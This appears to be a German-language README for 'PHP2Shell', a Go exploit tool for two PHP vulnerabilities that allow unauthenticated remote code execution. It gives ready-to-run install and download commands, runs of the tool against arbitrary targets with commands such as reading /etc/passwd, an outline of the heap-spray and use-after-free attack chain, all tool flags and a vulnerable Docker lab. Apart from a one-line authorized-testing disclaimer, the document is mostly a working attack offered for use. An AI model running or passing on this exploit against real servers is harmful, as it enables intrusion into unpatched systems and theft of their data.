PHP2Shell — CVE-2026-109618 / CVE-2026-109619

Nicht authentifizierte Remote-Code-Ausführung in PHP 5.4.0 – 8.5.11 (alle Webserver).
CVSS 9.2 Kritisch · Gepatcht am 2026-10-21 · CISA KEV 2026-10-26

Nur für autorisierte Sicherheitstests — auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.

Verwendung ohne Klonen

Option A — `go install` (am schnellsten, erfordert Go 1.22+)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"

Kein Go installiert? In 30 Sekunden installiert:

# Debian / Ubuntu / Kali
sudo apt install -y golang-go

# then run go install as above

Option B — Vorgefertigte Binärdatei herunterladen (aus einem getaggten Release)

Vorgefertigte Binärdateien sind an jedes GitHub Release angehängt.

# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# Linux ARM64
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Apple Silicon
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Intel
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

Binaries werden automatisch von GitHub Actions erstellt, wenn ein neuer Tag gepusht wird.
Wenn curl eine winzige Datei zurückgibt, die „Not found“ enthält, existiert noch kein Release — verwenden Sie stattdessen Option A.

Klonen + ausführen (mit integriertem Lab)

git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit

make all            # start lab + run exploit in one shot
make exploit        # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"

Was es tut

PHP hat zwei kritische Speichersicherheitsfehler, die durch präparierte multipart/form-data-HTTP-POST-Anfragen ausgelöst werden:

CVE	Typ	Auslöser
CVE-2026-109618	Speicherbeschädigung (OOM)	Große Multipart-Felder erschöpfen `memory_limit` mitten im Parsing, `longjmp()` wird bei teilweise initialisiertem Zustand ausgelöst
CVE-2026-109619	Use-after-free	Das Feld `PHP_SESSION_UPLOAD_PROGRESS` liest freigegebenen Worker-Speicher aus einer vorherigen Anfrage

Keiner der beiden Fehler erfordert eine Anmeldung, einen speziellen Endpunkt oder Anwendungscode — sie werden innerhalb der PHP-Engine ausgelöst, bevor irgendein .php-Skript ausgeführt wird.

Siehe docs/vulnerability.md für die vollständige technische Analyse mit kommentierten HTTP-Anfragen.

Wie der Exploit funktioniert

Phase 1 (CVE-2026-109618)
  Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
  → worker's internal session/decoder state freed but NOT zeroed
  → stale pointers remain in the PHP worker heap

                     same worker process ↓

Phase 2 (CVE-2026-109619)
  POST with Cookie: PHPSESSID=<random>
        + PHP_SESSION_UPLOAD_PROGRESS field  ← fires before any app code
        + 128 KB file upload (fake PHP zval structs)
  → upload progress handler dereferences stale pointer → UAF
  → heap spray reclaims freed region → controlled write → RCE

Alle Flags

Flag	Standard	Beschreibung
`-target`	erforderlich	Basis-URL, z. B. `http://192.168.1.10`
`-path`	`/index.php`	PHP-Endpunkt-Pfad
`-cmd`	`id`	Auszuführender Betriebssystembefehl
`-mode`	`auto`	`auto` / `modphp` / `fpm`
`-workers`	`8`	Anzahl der Worker-Slots zum Sprayen
`-oom-parts`	`30`	Multipart-Felder in Phase 1
`-part-size`	`204800`	Bytes pro Feld (200 KB)
`-spray-size`	`131072`	Heap-Spray-Größe (128 KB)
`-timeout`	`15s`	Timeout pro Anfrage
`-verbose`	false	Rohen Antwort-Body ausgeben
`-leak-only`	false	Nur Speicherleck (ASLR-Analyse)

Betroffene Versionen

Branch	Letzte verwundbare Version	Behoben in
PHP 8.2	8.2.34	8.2.35
PHP 8.3	8.3.35	8.3.36
PHP 8.4	8.4.26	8.4.27
PHP 8.5	8.5.11	8.5.12
PHP ≤ 8.1	alle	kein Upstream-Patch — Distro-Backport verwenden

Lab (verwundbare Docker-Umgebung)

Das Verzeichnis sandbox/ enthält ein fertiges verwundbares Ziel (PHP 8.4.26 + Apache mod_php) mit Standardeinstellungen, die beide CVEs offenlegen.

cd sandbox
docker compose up -d        # starts on :8888
open http://localhost:8888   # attack surface dashboard
docker compose down

Makefile-Kurzreferenz

make               show all commands
make all           start lab + run exploit (one shot)
make lab           start Docker lab
make lab-stop      stop Docker lab
make lab-logs      tail Apache/PHP error logs live
make lab-shell     open bash inside the container
make exploit       build & run against lab
make exploit-fpm   FPM mode, 16 workers
make leak          memory leak mode (ASLR analysis)
make build         build binary only

Beliebteste

CVE-2026-109618-exploit